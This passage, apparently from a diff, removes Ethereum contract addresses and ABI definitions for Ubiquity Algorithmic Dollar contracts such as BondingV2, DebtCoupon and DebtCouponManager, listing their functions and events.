"name": "lpRewardDebt", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "endBlock", - "type": "uint256" - } - ], - "name": "mint", - "outputs": [ - { - "internalType": "uint256", - "name": "id", - "type": "uint256" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "pause", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "paused", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "from", - "type": "address" - }, - { - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "internalType": "uint256[]", - "name": "ids", - "type": "uint256[]" - }, - { - "internalType": "uint256[]", - "name": "amounts", - "type": "uint256[]" - }, - { - "internalType": "bytes", - "name": "data", - "type": "bytes" - } - ], - "name": "safeBatchTransferFrom", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "from", - "type": "address" - }, - { - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "internalType": "uint256", - "name": "id", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - }, - { - "internalType": "bytes", - "name": "data", - "type": "bytes" - } - ], - "name": "safeTransferFrom", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "operator", - "type": "address" - }, - { - "internalType": "bool", - "name": "approved", - "type": "bool" - } - ], - "name": "setApprovalForAll", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "bytes4", - "name": "interfaceId", - "type": "bytes4" - } - ], - "name": "supportsInterface", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "totalLP", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "totalSupply", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "unpause", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_bondId", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "_lpAmount", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "_lpRewardDebt", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "_endBlock", - "type": "uint256" - } - ], - "name": "updateBond", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "name": "uri", - "outputs": [ - { - "internalType": "string", - "name": "", - "type": "string" - } - ], - "stateMutability": "view", - "type": "function" - } - ] - }, - "BondingV2": { - "address": "0xC251eCD9f1bD5230823F9A0F99a44A87Ddd4CA38", - "abi": [ - { - "inputs": [ - { - "internalType": "address", - "name": "_manager", - "type": "address" - }, - { - "internalType": "address", - "name": "_bondingFormulasAddress", - "type": "address" - }, - { - "internalType": "address[]", - "name": "_originals", - "type": "address[]" - }, - { - "internalType": "uint256[]", - "name": "_lpBalances", - "type": "uint256[]" - }, - { - "internalType": "uint256[]", - "name": "_weeks", - "type": "uint256[]" - } - ], - "stateMutability": "nonpayable", - "type": "constructor" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "_user", - "type": "address" - }, - { - "indexed": true, - "internalType": "uint256", - "name": "_id", - "type": "uint256" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "_lpAmount", - "type": "uint256" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "_bondingShareAmount", - "type": "uint256" - } - ], - "name": "AddLiquidityFromBond", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "uint256", - "name": "_blockCountInAWeek", - "type": "uint256" - } - ], - "name": "BlockCountInAWeekUpdated", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "uint256", - "name": "_bondingDiscountMultiplier", - "type": "uint256" - } - ], - "name": "BondingDiscountMultiplierUpdated", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "_user", - "type": "address" - }, - { - "indexed": true, - "internalType": "uint256", - "name": "_id", - "type": "uint256" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "_lpAmount", - "type": "uint256" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "_bondingShareAmount", - "type": "uint256" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "_weeks", - "type": "uint256" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "_endBlock", - "type": "uint256" - } - ], - "name": "Deposit", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "address", - "name": "_to", - "type": "address" - }, - { - "indexed": false, - "internalType": "address", - "name": "token", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "DustSent", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "_user", - "type": "address" - }, - { - "indexed": true, - "internalType": "uint256", - "name": "_id", - "type": "uint256" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "_lpsAmount", - "type": "uint256" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "_sharesAmount", - "type": "uint256" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "_weeks", - "type": "uint256" - } - ], - "name": "Migrated", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "address", - "name": "account", - "type": "address" - } - ], - "name": "Paused", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "address", - "name": "_tokenWithdrawn", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "_amountWithdrawn", - "type": "uint256" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "_amountTransfered", - "type": "uint256" - } - ], - "name": "PriceReset", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "address", - "name": "_token", - "type": "address" - } - ], - "name": "ProtocolTokenAdded", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "address", - "name": "_token", - "type": "address" - } - ], - "name": "ProtocolTokenRemoved", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "_user", - "type": "address" - }, - { - "indexed": true, - "internalType": "uint256", - "name": "_id", - "type": "uint256" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "_lpAmount", - "type": "uint256" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "_lpAmountTransferred", - "type": "uint256" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "_lprewards", - "type": "uint256" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "_bondingShareAmount", - "type": "uint256" - } - ], - "name": "RemoveLiquidityFromBond", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "address", - "name": "account", - "type": "address" - } - ], - "name": "Unpaused", - "type": "event" - }, - { - "inputs": [], - "name": "ETH_ADDRESS", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "ONE", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "accLpRewardPerShare", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_amount", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "_id", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "_weeks", - "type": "uint256" - } - ], - "name": "addLiquidity", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_token", - "type": "address" - } - ], - "name": "addProtocolToken", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_original", - "type": "address" - }, - { - "internalType": "uint256", - "name": "_lpBalance", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "_weeks", - "type": "uint256" - } - ], - "name": "addUserToMigrate", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "blockCountInAWeek", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "bondingDiscountMultiplier", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "bondingFormulasAddress", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "crvPriceReset", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "currentShareValue", - "outputs": [ - { - "internalType": "uint256", - "name": "priceShare", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "data", - "outputs": [ - { - "internalType": "bytes", - "name": "", - "type": "bytes" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_lpsAmount", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "_weeks", - "type": "uint256" - } - ], - "name": "deposit", - "outputs": [ - { - "internalType": "uint256", - "name": "_id", - "type": "uint256" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "lpRewardDebt", - "type": "uint256" - } - ], - "name": "lpRewardForShares", - "outputs": [ - { - "internalType": "uint256", - "name": "pendingLpReward", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "lpRewards", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "manager", - "outputs": [ - { - "internalType": "contract UbiquityAlgorithmicDollarManager", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "migrate", - "outputs": [ - { - "internalType": "uint256", - "name": "_id", - "type": "uint256" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "migrating", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "migrator", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "pause", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "paused", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_id", - "type": "uint256" - } - ], - "name": "pendingLpRewards", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_amount", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "_id", - "type": "uint256" - } - ], - "name": "removeLiquidity", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_token", - "type": "address" - } - ], - "name": "removeProtocolToken", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_to", - "type": "address" - }, - { - "internalType": "address", - "name": "_token", - "type": "address" - }, - { - "internalType": "uint256", - "name": "_amount", - "type": "uint256" - } - ], - "name": "sendDust", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_blockCountInAWeek", - "type": "uint256" - } - ], - "name": "setBlockCountInAWeek", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_bondingDiscountMultiplier", - "type": "uint256" - } - ], - "name": "setBondingDiscountMultiplier", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_bondingFormulasAddress", - "type": "address" - } - ], - "name": "setBondingFormulasAddress", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "bool", - "name": "_migrating", - "type": "bool" - } - ], - "name": "setMigrating", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_migrator", - "type": "address" - } - ], - "name": "setMigrator", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "name": "toMigrateId", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "totalLpToMigrate", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "uADPriceReset", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "unpause", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "stateMutability": "payable", - "type": "receive" - } - ] - }, - "CouponsForDollarsCalculator": { - "address": "0x4F3dF4c1e22209d623ab55923109112f1E2B17DE", - "abi": [ - { - "inputs": [ - { - "internalType": "address", - "name": "_manager", - "type": "address" - } - ], - "stateMutability": "nonpayable", - "type": "constructor" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "dollarsToBurn", - "type": "uint256" - } - ], - "name": "getCouponAmount", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "manager", - "outputs": [ - { - "internalType": "contract UbiquityAlgorithmicDollarManager", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - } - ] - }, - "CurveUADIncentive": { - "address": "0x86965cdB680350C5de2Fd8D28055DecDDD52745E", - "abi": [ - { - "inputs": [ - { - "internalType": "address", - "name": "_manager", - "type": "address" - } - ], - "stateMutability": "nonpayable", - "type": "constructor" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "_account", - "type": "address" - }, - { - "indexed": false, - "internalType": "bool", - "name": "_isExempt", - "type": "bool" - } - ], - "name": "ExemptAddressUpdate", - "type": "event" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "sender", - "type": "address" - }, - { - "internalType": "address", - "name": "receiver", - "type": "address" - }, - { - "internalType": "address", - "name": "", - "type": "address" - }, - { - "internalType": "uint256", - "name": "amountIn", - "type": "uint256" - } - ], - "name": "incentivize", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "isBuyIncentiveOn", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "account", - "type": "address" - } - ], - "name": "isExemptAddress", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "isSellPenaltyOn", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "manager", - "outputs": [ - { - "internalType": "contract UbiquityAlgorithmicDollarManager", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "account", - "type": "address" - }, - { - "internalType": "bool", - "name": "isExempt", - "type": "bool" - } - ], - "name": "setExemptAddress", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "switchBuyIncentive", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "switchSellPenalty", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - } - ] - }, - "DebtCoupon": { - "address": "0xAd7cceAB6d1633B1760A38650Ad12632B2C7a831", - "abi": [ - { - "inputs": [ - { - "internalType": "address", - "name": "_manager", - "type": "address" - } - ], - "stateMutability": "nonpayable", - "type": "constructor" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "account", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "operator", - "type": "address" - }, - { - "indexed": false, - "internalType": "bool", - "name": "approved", - "type": "bool" - } - ], - "name": "ApprovalForAll", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "address", - "name": "couponHolder", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "expiryBlock", - "type": "uint256" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "BurnedCoupons", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "address", - "name": "recipient", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "expiryBlock", - "type": "uint256" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "MintedCoupons", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "operator", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "from", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256[]", - "name": "ids", - "type": "uint256[]" - }, - { - "indexed": false, - "internalType": "uint256[]", - "name": "values", - "type": "uint256[]" - } - ], - "name": "TransferBatch", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "operator", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "from", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "id", - "type": "uint256" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "value", - "type": "uint256" - } - ], - "name": "TransferSingle", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "string", - "name": "value", - "type": "string" - }, - { - "indexed": true, - "internalType": "uint256", - "name": "id", - "type": "uint256" - } - ], - "name": "URI", - "type": "event" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "account", - "type": "address" - }, - { - "internalType": "uint256", - "name": "id", - "type": "uint256" - } - ], - "name": "balanceOf", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address[]", - "name": "accounts", - "type": "address[]" - }, - { - "internalType": "uint256[]", - "name": "ids", - "type": "uint256[]" - } - ], - "name": "balanceOfBatch", - "outputs": [ - { - "internalType": "uint256[]", - "name": "", - "type": "uint256[]" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "couponOwner", - "type": "address" - }, - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "expiryBlockNumber", - "type": "uint256" - } - ], - "name": "burnCoupons", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "getTotalOutstandingDebt", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "account", - "type": "address" - }, - { - "internalType": "address", - "name": "operator", - "type": "address" - } - ], - "name": "isApprovedForAll", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "manager", - "outputs": [ - { - "internalType": "contract UbiquityAlgorithmicDollarManager", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "recipient", - "type": "address" - }, - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "expiryBlockNumber", - "type": "uint256" - } - ], - "name": "mintCoupons", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "from", - "type": "address" - }, - { - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "internalType": "uint256[]", - "name": "ids", - "type": "uint256[]" - }, - { - "internalType": "uint256[]", - "name": "amounts", - "type": "uint256[]" - }, - { - "internalType": "bytes", - "name": "data", - "type": "bytes" - } - ], - "name": "safeBatchTransferFrom", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "from", - "type": "address" - }, - { - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "internalType": "uint256", - "name": "id", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - }, - { - "internalType": "bytes", - "name": "data", - "type": "bytes" - } - ], - "name": "safeTransferFrom", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "operator", - "type": "address" - }, - { - "internalType": "bool", - "name": "approved", - "type": "bool" - } - ], - "name": "setApprovalForAll", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "bytes4", - "name": "interfaceId", - "type": "bytes4" - } - ], - "name": "supportsInterface", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "updateTotalDebt", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "name": "uri", - "outputs": [ - { - "internalType": "string", - "name": "", - "type": "string" - } - ], - "stateMutability": "view", - "type": "function" - } - ] - }, - "DebtCouponManager": { - "address": "0x432120Ad63779897A424f7905BA000dF38A74554", - "abi": [ - { - "inputs": [ - { - "internalType": "address", - "name": "_manager", - "type": "address" - }, - { - "internalType": "uint256", - "name": "_couponLengthBlocks", - "type": "uint256" - } - ], - "stateMutability": "nonpayable", - "type": "constructor" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "uint256", - "name": "newCouponLengthBlocks", - "type": "uint256" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "previousCouponLengthBlocks", - "type": "uint256" - } - ], - "name": "CouponLengthChanged", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "uint256", - "name": "newRate", - "type": "uint256" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "previousRate", - "type": "uint256" - } - ], - "name": "ExpiredCouponConvertionRateChanged", - "type": "event" - }, - { - "inputs": [], - "name": "blockHeightDebt", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "burnAutoRedeemTokensForDollars", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "id", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "burnCouponsForAutoRedemption", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "id", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "burnExpiredCouponsForUGOV", - "outputs": [ - { - "internalType": "uint256", - "name": "uGovAmount", - "type": "uint256" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "couponLengthBlocks", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "debtCycle", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "dollarsMintedThisCycle", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "exchangeDollarsForDebtCoupons", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "exchangeDollarsForUAR", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "expiredCouponConvertionRate", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "getCouponsReturnedForDollars", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "getUARReturnedForDollars", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "manager", - "outputs": [ - { - "internalType": "contract UbiquityAlgorithmicDollarManager", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "mintClaimableDollars", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - }, - { - "internalType": "address", - "name": "", - "type": "address" - }, - { - "internalType": "uint256[]", - "name": "", - "type": "uint256[]" - }, - { - "internalType": "uint256[]", - "name": "", - "type": "uint256[]" - }, - { - "internalType": "bytes", - "name": "", - "type": "bytes" - } - ], - "name": "onERC1155BatchReceived", - "outputs": [ - { - "internalType": "bytes4", - "name": "", - "type": "bytes4" - } - ], - "stateMutability": "pure", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "operator", - "type": "address" - }, - { - "internalType": "address", - "name": "", - "type": "address" - }, - { - "internalType": "uint256", - "name": "", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "", - "type": "uint256" - }, - { - "internalType": "bytes", - "name": "", - "type": "bytes" - } - ], - "name": "onERC1155Received", - "outputs": [ - { - "internalType": "bytes4", - "name": "", - "type": "bytes4" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "id", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "redeemCoupons", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_couponLengthBlocks", - "type": "uint256" - } - ], - "name": "setCouponLength", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "rate", - "type": "uint256" - } - ], - "name": "setExpiredCouponConvertionRate", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "bytes4", - "name": "interfaceId", - "type": "bytes4" - } - ], - "name": "supportsInterface", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "view", - "type": "function" - } - ] - }, - "DollarMintingCalculator": { - "address": "0xab840faA6A5eF68D8D32370EBC297f4DdC9F870F", - "abi": [ - { - "inputs": [ - { - "internalType": "address", - "name": "_manager", - "type": "address" - } - ], - "stateMutability": "nonpayable", - "type": "constructor" - }, - { - "inputs": [], - "name": "getDollarsToMint", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "manager", - "outputs": [ - { - "internalType": "contract UbiquityAlgorithmicDollarManager", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - } - ] - }, - "ExcessDollarsDistributor": { - "address": "0x25d2b980E406bE97237A06Bca636AeD607661Dfa", - "abi": [ - { - "inputs": [ - { - "internalType": "address", - "name": "_manager", - "type": "address" - } - ], - "stateMutability": "nonpayable", - "type": "constructor" - }, - { - "inputs": [], - "name": "distributeDollars", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "manager", 